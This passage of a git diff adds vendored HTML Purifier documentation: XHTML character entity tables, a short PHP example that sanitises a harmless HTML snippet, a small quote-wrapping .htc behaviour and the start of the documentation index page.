+ = Greek middle dot, U+00B7 ISOnum -->
+<!ENTITY cedil "&#184;"> <!-- cedilla = spacing cedilla, U+00B8 ISOdia -->
+<!ENTITY sup1 "&#185;"> <!-- superscript one = superscript digit one,
+ U+00B9 ISOnum -->
+<!ENTITY ordm "&#186;"> <!-- masculine ordinal indicator,
+ U+00BA ISOnum -->
+<!ENTITY raquo "&#187;"> <!-- right-pointing double angle quotation mark
+ = right pointing guillemet, U+00BB ISOnum -->
+<!ENTITY frac14 "&#188;"> <!-- vulgar fraction one quarter
+ = fraction one quarter, U+00BC ISOnum -->
+<!ENTITY frac12 "&#189;"> <!-- vulgar fraction one half
+ = fraction one half, U+00BD ISOnum -->
+<!ENTITY frac34 "&#190;"> <!-- vulgar fraction three quarters
+ = fraction three quarters, U+00BE ISOnum -->
+<!ENTITY iquest "&#191;"> <!-- inverted question mark
+ = turned question mark, U+00BF ISOnum -->
+<!ENTITY Agrave "&#192;"> <!-- latin capital letter A with grave
+ = latin capital letter A grave,
+ U+00C0 ISOlat1 -->
+<!ENTITY Aacute "&#193;"> <!-- latin capital letter A with acute,
+ U+00C1 ISOlat1 -->
+<!ENTITY Acirc "&#194;"> <!-- latin capital letter A with circumflex,
+ U+00C2 ISOlat1 -->
+<!ENTITY Atilde "&#195;"> <!-- latin capital letter A with tilde,
+ U+00C3 ISOlat1 -->
+<!ENTITY Auml "&#196;"> <!-- latin capital letter A with diaeresis,
+ U+00C4 ISOlat1 -->
+<!ENTITY Aring "&#197;"> <!-- latin capital letter A with ring above
+ = latin capital letter A ring,
+ U+00C5 ISOlat1 -->
+<!ENTITY AElig "&#198;"> <!-- latin capital letter AE
+ = latin capital ligature AE,
+ U+00C6 ISOlat1 -->
+<!ENTITY Ccedil "&#199;"> <!-- latin capital letter C with cedilla,
+ U+00C7 ISOlat1 -->
+<!ENTITY Egrave "&#200;"> <!-- latin capital letter E with grave,
+ U+00C8 ISOlat1 -->
+<!ENTITY Eacute "&#201;"> <!-- latin capital letter E with acute,
+ U+00C9 ISOlat1 -->
+<!ENTITY Ecirc "&#202;"> <!-- latin capital letter E with circumflex,
+ U+00CA ISOlat1 -->
+<!ENTITY Euml "&#203;"> <!-- latin capital letter E with diaeresis,
+ U+00CB ISOlat1 -->
+<!ENTITY Igrave "&#204;"> <!-- latin capital letter I with grave,
+ U+00CC ISOlat1 -->
+<!ENTITY Iacute "&#205;"> <!-- latin capital letter I with acute,
+ U+00CD ISOlat1 -->
+<!ENTITY Icirc "&#206;"> <!-- latin capital letter I with circumflex,
+ U+00CE ISOlat1 -->
+<!ENTITY Iuml "&#207;"> <!-- latin capital letter I with diaeresis,
+ U+00CF ISOlat1 -->
+<!ENTITY ETH "&#208;"> <!-- latin capital letter ETH, U+00D0 ISOlat1 -->
+<!ENTITY Ntilde "&#209;"> <!-- latin capital letter N with tilde,
+ U+00D1 ISOlat1 -->
+<!ENTITY Ograve "&#210;"> <!-- latin capital letter O with grave,
+ U+00D2 ISOlat1 -->
+<!ENTITY Oacute "&#211;"> <!-- latin capital letter O with acute,
+ U+00D3 ISOlat1 -->
+<!ENTITY Ocirc "&#212;"> <!-- latin capital letter O with circumflex,
+ U+00D4 ISOlat1 -->
+<!ENTITY Otilde "&#213;"> <!-- latin capital letter O with tilde,
+ U+00D5 ISOlat1 -->
+<!ENTITY Ouml "&#214;"> <!-- latin capital letter O with diaeresis,
+ U+00D6 ISOlat1 -->
+<!ENTITY times "&#215;"> <!-- multiplication sign, U+00D7 ISOnum -->
+<!ENTITY Oslash "&#216;"> <!-- latin capital letter O with stroke
+ = latin capital letter O slash,
+ U+00D8 ISOlat1 -->
+<!ENTITY Ugrave "&#217;"> <!-- latin capital letter U with grave,
+ U+00D9 ISOlat1 -->
+<!ENTITY Uacute "&#218;"> <!-- latin capital letter U with acute,
+ U+00DA ISOlat1 -->
+<!ENTITY Ucirc "&#219;"> <!-- latin capital letter U with circumflex,
+ U+00DB ISOlat1 -->
+<!ENTITY Uuml "&#220;"> <!-- latin capital letter U with diaeresis,
+ U+00DC ISOlat1 -->
+<!ENTITY Yacute "&#221;"> <!-- latin capital letter Y with acute,
+ U+00DD ISOlat1 -->
+<!ENTITY THORN "&#222;"> <!-- latin capital letter THORN,
+ U+00DE ISOlat1 -->
+<!ENTITY szlig "&#223;"> <!-- latin small letter sharp s = ess-zed,
+ U+00DF ISOlat1 -->
+<!ENTITY agrave "&#224;"> <!-- latin small letter a with grave
+ = latin small letter a grave,
+ U+00E0 ISOlat1 -->
+<!ENTITY aacute "&#225;"> <!-- latin small letter a with acute,
+ U+00E1 ISOlat1 -->
+<!ENTITY acirc "&#226;"> <!-- latin small letter a with circumflex,
+ U+00E2 ISOlat1 -->
+<!ENTITY atilde "&#227;"> <!-- latin small letter a with tilde,
+ U+00E3 ISOlat1 -->
+<!ENTITY auml "&#228;"> <!-- latin small letter a with diaeresis,
+ U+00E4 ISOlat1 -->
+<!ENTITY aring "&#229;"> <!-- latin small letter a with ring above
+ = latin small letter a ring,
+ U+00E5 ISOlat1 -->
+<!ENTITY aelig "&#230;"> <!-- latin small letter ae
+ = latin small ligature ae, U+00E6 ISOlat1 -->
+<!ENTITY ccedil "&#231;"> <!-- latin small letter c with cedilla,
+ U+00E7 ISOlat1 -->
+<!ENTITY egrave "&#232;"> <!-- latin small letter e with grave,
+ U+00E8 ISOlat1 -->
+<!ENTITY eacute "&#233;"> <!-- latin small letter e with acute,
+ U+00E9 ISOlat1 -->
+<!ENTITY ecirc "&#234;"> <!-- latin small letter e with circumflex,
+ U+00EA ISOlat1 -->
+<!ENTITY euml "&#235;"> <!-- latin small letter e with diaeresis,
+ U+00EB ISOlat1 -->
+<!ENTITY igrave "&#236;"> <!-- latin small letter i with grave,
+ U+00EC ISOlat1 -->
+<!ENTITY iacute "&#237;"> <!-- latin small letter i with acute,
+ U+00ED ISOlat1 -->
+<!ENTITY icirc "&#238;"> <!-- latin small letter i with circumflex,
+ U+00EE ISOlat1 -->
+<!ENTITY iuml "&#239;"> <!-- latin small letter i with diaeresis,
+ U+00EF ISOlat1 -->
+<!ENTITY eth "&#240;"> <!-- latin small letter eth, U+00F0 ISOlat1 -->
+<!ENTITY ntilde "&#241;"> <!-- latin small letter n with tilde,
+ U+00F1 ISOlat1 -->
+<!ENTITY ograve "&#242;"> <!-- latin small letter o with grave,
+ U+00F2 ISOlat1 -->
+<!ENTITY oacute "&#243;"> <!-- latin small letter o with acute,
+ U+00F3 ISOlat1 -->
+<!ENTITY ocirc "&#244;"> <!-- latin small letter o with circumflex,
+ U+00F4 ISOlat1 -->
+<!ENTITY otilde "&#245;"> <!-- latin small letter o with tilde,
+ U+00F5 ISOlat1 -->
+<!ENTITY ouml "&#246;"> <!-- latin small letter o with diaeresis,
+ U+00F6 ISOlat1 -->
+<!ENTITY divide "&#247;"> <!-- division sign, U+00F7 ISOnum -->
+<!ENTITY oslash "&#248;"> <!-- latin small letter o with stroke,
+ = latin small letter o slash,
+ U+00F8 ISOlat1 -->
+<!ENTITY ugrave "&#249;"> <!-- latin small letter u with grave,
+ U+00F9 ISOlat1 -->
+<!ENTITY uacute "&#250;"> <!-- latin small letter u with acute,
+ U+00FA ISOlat1 -->
+<!ENTITY ucirc "&#251;"> <!-- latin small letter u with circumflex,
+ U+00FB ISOlat1 -->
+<!ENTITY uuml "&#252;"> <!-- latin small letter u with diaeresis,
+ U+00FC ISOlat1 -->
+<!ENTITY yacute "&#253;"> <!-- latin small letter y with acute,
+ U+00FD ISOlat1 -->
+<!ENTITY thorn "&#254;"> <!-- latin small letter thorn,
+ U+00FE ISOlat1 -->
+<!ENTITY yuml "&#255;"> <!-- latin small letter y with diaeresis,
+ U+00FF ISOlat1 -->
diff --git a/vendor/ezyang/htmlpurifier/docs/entities/xhtml-special.ent b/vendor/ezyang/htmlpurifier/docs/entities/xhtml-special.ent
new file mode 100644
index 000000000..ca358b2fe
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/entities/xhtml-special.ent
@@ -0,0 +1,80 @@
+<!-- Special characters for XHTML -->
+
+<!-- Character entity set. Typical invocation:
+ <!ENTITY % HTMLspecial PUBLIC
+ "-//W3C//ENTITIES Special for XHTML//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml-special.ent">
+ %HTMLspecial;
+-->
+
+<!-- Portions (C) International Organization for Standardization 1986:
+ Permission to copy in any form is granted for use with
+ conforming SGML systems and applications as defined in
+ ISO 8879, provided this notice is included in all copies.
+-->
+
+<!-- Relevant ISO entity set is given unless names are newly introduced.
+ New names (i.e., not in ISO 8879 list) do not clash with any
+ existing ISO 8879 entity names. ISO 10646 character numbers
+ are given for each character, in hex. values are decimal
+ conversions of the ISO 10646 values and refer to the document
+ character set. Names are Unicode names.
+-->
+
+<!-- C0 Controls and Basic Latin -->
+<!ENTITY quot "&#34;"> <!-- quotation mark, U+0022 ISOnum -->
+<!ENTITY amp "&#38;#38;"> <!-- ampersand, U+0026 ISOnum -->
+<!ENTITY lt "&#38;#60;"> <!-- less-than sign, U+003C ISOnum -->
+<!ENTITY gt "&#62;"> <!-- greater-than sign, U+003E ISOnum -->
+<!ENTITY apos "&#39;"> <!-- apostrophe = APL quote, U+0027 ISOnum -->
+
+<!-- Latin Extended-A -->
+<!ENTITY OElig "&#338;"> <!-- latin capital ligature OE,
+ U+0152 ISOlat2 -->
+<!ENTITY oelig "&#339;"> <!-- latin small ligature oe, U+0153 ISOlat2 -->
+<!-- ligature is a misnomer, this is a separate character in some languages -->
+<!ENTITY Scaron "&#352;"> <!-- latin capital letter S with caron,
+ U+0160 ISOlat2 -->
+<!ENTITY scaron "&#353;"> <!-- latin small letter s with caron,
+ U+0161 ISOlat2 -->
+<!ENTITY Yuml "&#376;"> <!-- latin capital letter Y with diaeresis,
+ U+0178 ISOlat2 -->
+
+<!-- Spacing Modifier Letters -->
+<!ENTITY circ "&#710;"> <!-- modifier letter circumflex accent,
+ U+02C6 ISOpub -->
+<!ENTITY tilde "&#732;"> <!-- small tilde, U+02DC ISOdia -->
+
+<!-- General Punctuation -->
+<!ENTITY ensp "&#8194;"> <!-- en space, U+2002 ISOpub -->
+<!ENTITY emsp "&#8195;"> <!-- em space, U+2003 ISOpub -->
+<!ENTITY thinsp "&#8201;"> <!-- thin space, U+2009 ISOpub -->
+<!ENTITY zwnj "&#8204;"> <!-- zero width non-joiner,
+ U+200C NEW RFC 2070 -->
+<!ENTITY zwj "&#8205;"> <!-- zero width joiner, U+200D NEW RFC 2070 -->
+<!ENTITY lrm "&#8206;"> <!-- left-to-right mark, U+200E NEW RFC 2070 -->
+<!ENTITY rlm "&#8207;"> <!-- right-to-left mark, U+200F NEW RFC 2070 -->
+<!ENTITY ndash "&#8211;"> <!-- en dash, U+2013 ISOpub -->
+<!ENTITY mdash "&#8212;"> <!-- em dash, U+2014 ISOpub -->
+<!ENTITY lsquo "&#8216;"> <!-- left single quotation mark,
+ U+2018 ISOnum -->
+<!ENTITY rsquo "&#8217;"> <!-- right single quotation mark,
+ U+2019 ISOnum -->
+<!ENTITY sbquo "&#8218;"> <!-- single low-9 quotation mark, U+201A NEW -->
+<!ENTITY ldquo "&#8220;"> <!-- left double quotation mark,
+ U+201C ISOnum -->
+<!ENTITY rdquo "&#8221;"> <!-- right double quotation mark,
+ U+201D ISOnum -->
+<!ENTITY bdquo "&#8222;"> <!-- double low-9 quotation mark, U+201E NEW -->
+<!ENTITY dagger "&#8224;"> <!-- dagger, U+2020 ISOpub -->
+<!ENTITY Dagger "&#8225;"> <!-- double dagger, U+2021 ISOpub -->
+<!ENTITY permil "&#8240;"> <!-- per mille sign, U+2030 ISOtech -->
+<!ENTITY lsaquo "&#8249;"> <!-- single left-pointing angle quotation mark,
+ U+2039 ISO proposed -->
+<!-- lsaquo is proposed but not yet ISO standardized -->
+<!ENTITY rsaquo "&#8250;"> <!-- single right-pointing angle quotation mark,
+ U+203A ISO proposed -->
+<!-- rsaquo is proposed but not yet ISO standardized -->
+
+<!-- Currency Symbols -->
+<!ENTITY euro "&#8364;"> <!-- euro sign, U+20AC NEW -->
diff --git a/vendor/ezyang/htmlpurifier/docs/entities/xhtml-symbol.ent b/vendor/ezyang/htmlpurifier/docs/entities/xhtml-symbol.ent
new file mode 100644
index 000000000..63c2abfa6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/entities/xhtml-symbol.ent
@@ -0,0 +1,237 @@
+<!-- Mathematical, Greek and Symbolic characters for XHTML -->
+
+<!-- Character entity set. Typical invocation:
+ <!ENTITY % HTMLsymbol PUBLIC
+ "-//W3C//ENTITIES Symbols for XHTML//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml-symbol.ent">
+ %HTMLsymbol;
+-->
+
+<!-- Portions (C) International Organization for Standardization 1986:
+ Permission to copy in any form is granted for use with
+ conforming SGML systems and applications as defined in
+ ISO 8879, provided this notice is included in all copies.
+-->
+
+<!-- Relevant ISO entity set is given unless names are newly introduced.
+ New names (i.e., not in ISO 8879 list) do not clash with any
+ existing ISO 8879 entity names. ISO 10646 character numbers
+ are given for each character, in hex. values are decimal
+ conversions of the ISO 10646 values and refer to the document
+ character set. Names are Unicode names.
+-->
+
+<!-- Latin Extended-B -->
+<!ENTITY fnof "&#402;"> <!-- latin small letter f with hook = function
+ = florin, U+0192 ISOtech -->
+
+<!-- Greek -->
+<!ENTITY Alpha "&#913;"> <!-- greek capital letter alpha, U+0391 -->
+<!ENTITY Beta "&#914;"> <!-- greek capital letter beta, U+0392 -->
+<!ENTITY Gamma "&#915;"> <!-- greek capital letter gamma,
+ U+0393 ISOgrk3 -->
+<!ENTITY Delta "&#916;"> <!-- greek capital letter delta,
+ U+0394 ISOgrk3 -->
+<!ENTITY Epsilon "&#917;"> <!-- greek capital letter epsilon, U+0395 -->
+<!ENTITY Zeta "&#918;"> <!-- greek capital letter zeta, U+0396 -->
+<!ENTITY Eta "&#919;"> <!-- greek capital letter eta, U+0397 -->
+<!ENTITY Theta "&#920;"> <!-- greek capital letter theta,
+ U+0398 ISOgrk3 -->
+<!ENTITY Iota "&#921;"> <!-- greek capital letter iota, U+0399 -->
+<!ENTITY Kappa "&#922;"> <!-- greek capital letter kappa, U+039A -->
+<!ENTITY Lambda "&#923;"> <!-- greek capital letter lamda,
+ U+039B ISOgrk3 -->
+<!ENTITY Mu "&#924;"> <!-- greek capital letter mu, U+039C -->
+<!ENTITY Nu "&#925;"> <!-- greek capital letter nu, U+039D -->
+<!ENTITY Xi "&#926;"> <!-- greek capital letter xi, U+039E ISOgrk3 -->
+<!ENTITY Omicron "&#927;"> <!-- greek capital letter omicron, U+039F -->
+<!ENTITY Pi "&#928;"> <!-- greek capital letter pi, U+03A0 ISOgrk3 -->
+<!ENTITY Rho "&#929;"> <!-- greek capital letter rho, U+03A1 -->
+<!-- there is no Sigmaf, and no U+03A2 character either -->
+<!ENTITY Sigma "&#931;"> <!-- greek capital letter sigma,
+ U+03A3 ISOgrk3 -->
+<!ENTITY Tau "&#932;"> <!-- greek capital letter tau, U+03A4 -->
+<!ENTITY Upsilon "&#933;"> <!-- greek capital letter upsilon,
+ U+03A5 ISOgrk3 -->
+<!ENTITY Phi "&#934;"> <!-- greek capital letter phi,
+ U+03A6 ISOgrk3 -->
+<!ENTITY Chi "&#935;"> <!-- greek capital letter chi, U+03A7 -->
+<!ENTITY Psi "&#936;"> <!-- greek capital letter psi,
+ U+03A8 ISOgrk3 -->
+<!ENTITY Omega "&#937;"> <!-- greek capital letter omega,
+ U+03A9 ISOgrk3 -->
+
+<!ENTITY alpha "&#945;"> <!-- greek small letter alpha,
+ U+03B1 ISOgrk3 -->
+<!ENTITY beta "&#946;"> <!-- greek small letter beta, U+03B2 ISOgrk3 -->
+<!ENTITY gamma "&#947;"> <!-- greek small letter gamma,
+ U+03B3 ISOgrk3 -->
+<!ENTITY delta "&#948;"> <!-- greek small letter delta,
+ U+03B4 ISOgrk3 -->
+<!ENTITY epsilon "&#949;"> <!-- greek small letter epsilon,
+ U+03B5 ISOgrk3 -->
+<!ENTITY zeta "&#950;"> <!-- greek small letter zeta, U+03B6 ISOgrk3 -->
+<!ENTITY eta "&#951;"> <!-- greek small letter eta, U+03B7 ISOgrk3 -->
+<!ENTITY theta "&#952;"> <!-- greek small letter theta,
+ U+03B8 ISOgrk3 -->
+<!ENTITY iota "&#953;"> <!-- greek small letter iota, U+03B9 ISOgrk3 -->
+<!ENTITY kappa "&#954;"> <!-- greek small letter kappa,
+ U+03BA ISOgrk3 -->
+<!ENTITY lambda "&#955;"> <!-- greek small letter lamda,
+ U+03BB ISOgrk3 -->
+<!ENTITY mu "&#956;"> <!-- greek small letter mu, U+03BC ISOgrk3 -->
+<!ENTITY nu "&#957;"> <!-- greek small letter nu, U+03BD ISOgrk3 -->
+<!ENTITY xi "&#958;"> <!-- greek small letter xi, U+03BE ISOgrk3 -->
+<!ENTITY omicron "&#959;"> <!-- greek small letter omicron, U+03BF NEW -->
+<!ENTITY pi "&#960;"> <!-- greek small letter pi, U+03C0 ISOgrk3 -->
+<!ENTITY rho "&#961;"> <!-- greek small letter rho, U+03C1 ISOgrk3 -->
+<!ENTITY sigmaf "&#962;"> <!-- greek small letter final sigma,
+ U+03C2 ISOgrk3 -->
+<!ENTITY sigma "&#963;"> <!-- greek small letter sigma,
+ U+03C3 ISOgrk3 -->
+<!ENTITY tau "&#964;"> <!-- greek small letter tau, U+03C4 ISOgrk3 -->
+<!ENTITY upsilon "&#965;"> <!-- greek small letter upsilon,
+ U+03C5 ISOgrk3 -->
+<!ENTITY phi "&#966;"> <!-- greek small letter phi, U+03C6 ISOgrk3 -->
+<!ENTITY chi "&#967;"> <!-- greek small letter chi, U+03C7 ISOgrk3 -->
+<!ENTITY psi "&#968;"> <!-- greek small letter psi, U+03C8 ISOgrk3 -->
+<!ENTITY omega "&#969;"> <!-- greek small letter omega,
+ U+03C9 ISOgrk3 -->
+<!ENTITY thetasym "&#977;"> <!-- greek theta symbol,
+ U+03D1 NEW -->
+<!ENTITY upsih "&#978;"> <!-- greek upsilon with hook symbol,
+ U+03D2 NEW -->
+<!ENTITY piv "&#982;"> <!-- greek pi symbol, U+03D6 ISOgrk3 -->
+
+<!-- General Punctuation -->
+<!ENTITY bull "&#8226;"> <!-- bullet = black small circle,
+ U+2022 ISOpub -->
+<!-- bullet is NOT the same as bullet operator, U+2219 -->
+<!ENTITY hellip "&#8230;"> <!-- horizontal ellipsis = three dot leader,
+ U+2026 ISOpub -->
+<!ENTITY prime "&#8242;"> <!-- prime = minutes = feet, U+2032 ISOtech -->
+<!ENTITY Prime "&#8243;"> <!-- double prime = seconds = inches,
+ U+2033 ISOtech -->
+<!ENTITY oline "&#8254;"> <!-- overline = spacing overscore,
+ U+203E NEW -->
+<!ENTITY frasl "&#8260;"> <!-- fraction slash, U+2044 NEW -->
+
+<!-- Letterlike Symbols -->
+<!ENTITY weierp "&#8472;"> <!-- script capital P = power set
+ = Weierstrass p, U+2118 ISOamso -->
+<!ENTITY image "&#8465;"> <!-- black-letter capital I = imaginary part,
+ U+2111 ISOamso -->
+<!ENTITY real "&#8476;"> <!-- black-letter capital R = real part symbol,
+ U+211C ISOamso -->
+<!ENTITY trade "&#8482;"> <!-- trade mark sign, U+2122 ISOnum -->
+<!ENTITY alefsym "&#8501;"> <!-- alef symbol = first transfinite cardinal,
+ U+2135 NEW -->
+<!-- alef symbol is NOT the same as hebrew letter alef,
+ U+05D0 although the same glyph could be used to depict both characters -->
+
+<!-- Arrows -->
+<!ENTITY larr "&#8592;"> <!-- leftwards arrow, U+2190 ISOnum -->
+<!ENTITY uarr "&#8593;"> <!-- upwards arrow, U+2191 ISOnum-->
+<!ENTITY rarr "&#8594;"> <!-- rightwards arrow, U+2192 ISOnum -->
+<!ENTITY darr "&#8595;"> <!-- downwards arrow, U+2193 ISOnum -->
+<!ENTITY harr "&#8596;"> <!-- left right arrow, U+2194 ISOamsa -->
+<!ENTITY crarr "&#8629;"> <!-- downwards arrow with corner leftwards
+ = carriage return, U+21B5 NEW -->
+<!ENTITY lArr "&#8656;"> <!-- leftwards double arrow, U+21D0 ISOtech -->
+<!-- Unicode does not say that lArr is the same as the 'is implied by' arrow
+ but also does not have any other character for that function. So lArr can
+ be used for 'is implied by' as ISOtech suggests -->
+<!ENTITY uArr "&#8657;"> <!-- upwards double arrow, U+21D1 ISOamsa -->
+<!ENTITY rArr "&#8658;"> <!-- rightwards double arrow,
+ U+21D2 ISOtech -->
+<!-- Unicode does not say this is the 'implies' character but does not have
+ another character with this function so rArr can be used for 'implies'
+ as ISOtech suggests -->
+<!ENTITY dArr "&#8659;"> <!-- downwards double arrow, U+21D3 ISOamsa -->
+<!ENTITY hArr "&#8660;"> <!-- left right double arrow,
+ U+21D4 ISOamsa -->
+
+<!-- Mathematical Operators -->
+<!ENTITY forall "&#8704;"> <!-- for all, U+2200 ISOtech -->
+<!ENTITY part "&#8706;"> <!-- partial differential, U+2202 ISOtech -->
+<!ENTITY exist "&#8707;"> <!-- there exists, U+2203 ISOtech -->
+<!ENTITY empty "&#8709;"> <!-- empty set = null set, U+2205 ISOamso -->
+<!ENTITY nabla "&#8711;"> <!-- nabla = backward difference,
+ U+2207 ISOtech -->
+<!ENTITY isin "&#8712;"> <!-- element of, U+2208 ISOtech -->
+<!ENTITY notin "&#8713;"> <!-- not an element of, U+2209 ISOtech -->
+<!ENTITY ni "&#8715;"> <!-- contains as member, U+220B ISOtech -->
+<!ENTITY prod "&#8719;"> <!-- n-ary product = product sign,
+ U+220F ISOamsb -->
+<!-- prod is NOT the same character as U+03A0 'greek capital letter pi' though
+ the same glyph might be used for both -->
+<!ENTITY sum "&#8721;"> <!-- n-ary summation, U+2211 ISOamsb -->
+<!-- sum is NOT the same character as U+03A3 'greek capital letter sigma'
+ though the same glyph might be used for both -->
+<!ENTITY minus "&#8722;"> <!-- minus sign, U+2212 ISOtech -->
+<!ENTITY lowast "&#8727;"> <!-- asterisk operator, U+2217 ISOtech -->
+<!ENTITY radic "&#8730;"> <!-- square root = radical sign,
+ U+221A ISOtech -->
+<!ENTITY prop "&#8733;"> <!-- proportional to, U+221D ISOtech -->
+<!ENTITY infin "&#8734;"> <!-- infinity, U+221E ISOtech -->
+<!ENTITY ang "&#8736;"> <!-- angle, U+2220 ISOamso -->
+<!ENTITY and "&#8743;"> <!-- logical and = wedge, U+2227 ISOtech -->
+<!ENTITY or "&#8744;"> <!-- logical or = vee, U+2228 ISOtech -->
+<!ENTITY cap "&#8745;"> <!-- intersection = cap, U+2229 ISOtech -->
+<!ENTITY cup "&#8746;"> <!-- union = cup, U+222A ISOtech -->
+<!ENTITY int "&#8747;"> <!-- integral, U+222B ISOtech -->
+<!ENTITY there4 "&#8756;"> <!-- therefore, U+2234 ISOtech -->
+<!ENTITY sim "&#8764;"> <!-- tilde operator = varies with = similar to,
+ U+223C ISOtech -->
+<!-- tilde operator is NOT the same character as the tilde, U+007E,
+ although the same glyph might be used to represent both -->
+<!ENTITY cong "&#8773;"> <!-- approximately equal to, U+2245 ISOtech -->
+<!ENTITY asymp "&#8776;"> <!-- almost equal to = asymptotic to,
+ U+2248 ISOamsr -->
+<!ENTITY ne "&#8800;"> <!-- not equal to, U+2260 ISOtech -->
+<!ENTITY equiv "&#8801;"> <!-- identical to, U+2261 ISOtech -->
+<!ENTITY le "&#8804;"> <!-- less-than or equal to, U+2264 ISOtech -->
+<!ENTITY ge "&#8805;"> <!-- greater-than or equal to,
+ U+2265 ISOtech -->
+<!ENTITY sub "&#8834;"> <!-- subset of, U+2282 ISOtech -->
+<!ENTITY sup "&#8835;"> <!-- superset of, U+2283 ISOtech -->
+<!ENTITY nsub "&#8836;"> <!-- not a subset of, U+2284 ISOamsn -->
+<!ENTITY sube "&#8838;"> <!-- subset of or equal to, U+2286 ISOtech -->
+<!ENTITY supe "&#8839;"> <!-- superset of or equal to,
+ U+2287 ISOtech -->
+<!ENTITY oplus "&#8853;"> <!-- circled plus = direct sum,
+ U+2295 ISOamsb -->
+<!ENTITY otimes "&#8855;"> <!-- circled times = vector product,
+ U+2297 ISOamsb -->
+<!ENTITY perp "&#8869;"> <!-- up tack = orthogonal to = perpendicular,
+ U+22A5 ISOtech -->
+<!ENTITY sdot "&#8901;"> <!-- dot operator, U+22C5 ISOamsb -->
+<!-- dot operator is NOT the same character as U+00B7 middle dot -->
+
+<!-- Miscellaneous Technical -->
+<!ENTITY lceil "&#8968;"> <!-- left ceiling = APL upstile,
+ U+2308 ISOamsc -->
+<!ENTITY rceil "&#8969;"> <!-- right ceiling, U+2309 ISOamsc -->
+<!ENTITY lfloor "&#8970;"> <!-- left floor = APL downstile,
+ U+230A ISOamsc -->
+<!ENTITY rfloor "&#8971;"> <!-- right floor, U+230B ISOamsc -->
+<!ENTITY lang "&#9001;"> <!-- left-pointing angle bracket = bra,
+ U+2329 ISOtech -->
+<!-- lang is NOT the same character as U+003C 'less than sign'
+ or U+2039 'single left-pointing angle quotation mark' -->
+<!ENTITY rang "&#9002;"> <!-- right-pointing angle bracket = ket,
+ U+232A ISOtech -->
+<!-- rang is NOT the same character as U+003E 'greater than sign'
+ or U+203A 'single right-pointing angle quotation mark' -->
+
+<!-- Geometric Shapes -->
+<!ENTITY loz "&#9674;"> <!-- lozenge, U+25CA ISOpub -->
+
+<!-- Miscellaneous Symbols -->
+<!ENTITY spades "&#9824;"> <!-- black spade suit, U+2660 ISOpub -->
+<!-- black here seems to mean filled as opposed to hollow -->
+<!ENTITY clubs "&#9827;"> <!-- black club suit = shamrock,
+ U+2663 ISOpub -->
+<!ENTITY hearts "&#9829;"> <!-- black heart suit = valentine,
+ U+2665 ISOpub -->
+<!ENTITY diams "&#9830;"> <!-- black diamond suit, U+2666 ISOpub -->
diff --git a/vendor/ezyang/htmlpurifier/docs/examples/basic.php b/vendor/ezyang/htmlpurifier/docs/examples/basic.php
new file mode 100644
index 000000000..b51096d2d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/examples/basic.php
@@ -0,0 +1,23 @@
+<?php
+
+// This file demonstrates basic usage of HTMLPurifier.
+
+// replace this with the path to the HTML Purifier library
+require_once '../../library/HTMLPurifier.auto.php';
+
+$config = HTMLPurifier_Config::createDefault();
+
+// configuration goes here:
+$config->set('Core.Encoding', 'UTF-8'); // replace with your encoding
+$config->set('HTML.Doctype', 'XHTML 1.0 Transitional'); // replace with your doctype
+
+$purifier = new HTMLPurifier($config);
+
+// untrusted input HTML
+$html = '<b>Simple and short';
+
+$pure_html = $purifier->purify($html);
+
+echo '<pre>' . htmlspecialchars($pure_html) . '</pre>';
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/fixquotes.htc b/vendor/ezyang/htmlpurifier/docs/fixquotes.htc
new file mode 100644
index 000000000..80dda2dc2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/fixquotes.htc
@@ -0,0 +1,9 @@
+<public:attach event="oncontentready" onevent="init();" />
+<script>
+function init() {
+ element.innerHTML = '&#8220;'+element.innerHTML+'&#8221;';
+}
+</script>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/docs/index.html b/vendor/ezyang/htmlpurifier/docs/index.html
new file mode 100644
index 000000000..3c4ecc716
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/index.html
@@ -0,0 +1,188 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="description" content="Index to all HTML Purifier documentation." />
+<link rel="stylesheet" type="text/css" href="./style.css" />
+
+<title>Documentation - HTML Purifier</title>
+
+</head>
+<body>
+
+<h1>Documentation</h1>
+
+<p><strong><a href="http://htmlpurifier.org/">HTML Purifier</a></strong> has documentation for all types of people.
+Here is an index of all of them.</p>
+
+<h2>End-user</h2>
+<p>End-user documentation that contains articles, tutorials and useful
+information for casual developers using HTML Purifier.</p>
+
+<dl>
+
+<dt><a href="enduser-id.html">IDs</a></dt>
+<dd>Explains various methods for allowing IDs in documents safely.</dd>
+
+<dt><a href="enduser-youtube.html">Embedding YouTube videos</a></dt>
+<dd>Explains how to safely allow the embedding of flash from trusted sites.</dd>
+
+<dt><a href="enduser-slow.html">Speeding up HTML Purifier</a></dt>
+<dd>Explains how to speed up HTML Purifier through caching or inbound filtering.</dd>
+
+<dt><a href="enduser-utf8.html">UTF-8: The Secret of Character Encoding</a></dt>
+<dd>Describes the rationale for using UTF-8, the ramifications otherwise, and how to make the switch.</dd>
+
+<dt><a href="enduser-tidy.html">Tidy</a></dt>
+<dd>Tutorial for tweaking HTML Purifier's Tidy-like behavior.</dd>
+
+<dt><a href="enduser-customize.html">Customize</a></dt>
+<dd>Tutorial for customizing HTML Purifier's tag and attribute sets.</dd>
+
+<dt><a href="enduser-uri-filter.html">URI Filters</a></dt>
+<dd>Tutorial for creating custom URI filters.</dd>
+
+</dl>
+
+<h2>Development</h2>
+<p>Developer documentation detailing code issues, roadmaps and project
+conventions.</p>
+
+<dl>
+
+<dt><a href="dev-progress.html">Implementation Progress</a></dt>
+<dd>Tables detailing HTML element and CSS property implementation coverage.</dd>
+
+<dt><a href="dev-naming.html">Naming Conventions</a></dt>
+<dd>Defines class naming conventions.</dd>
+
+<dt><a href="dev-optimization.html">Optimization</a></dt>
+<dd>Discusses possible methods of optimizing HTML Purifier.</dd>
+
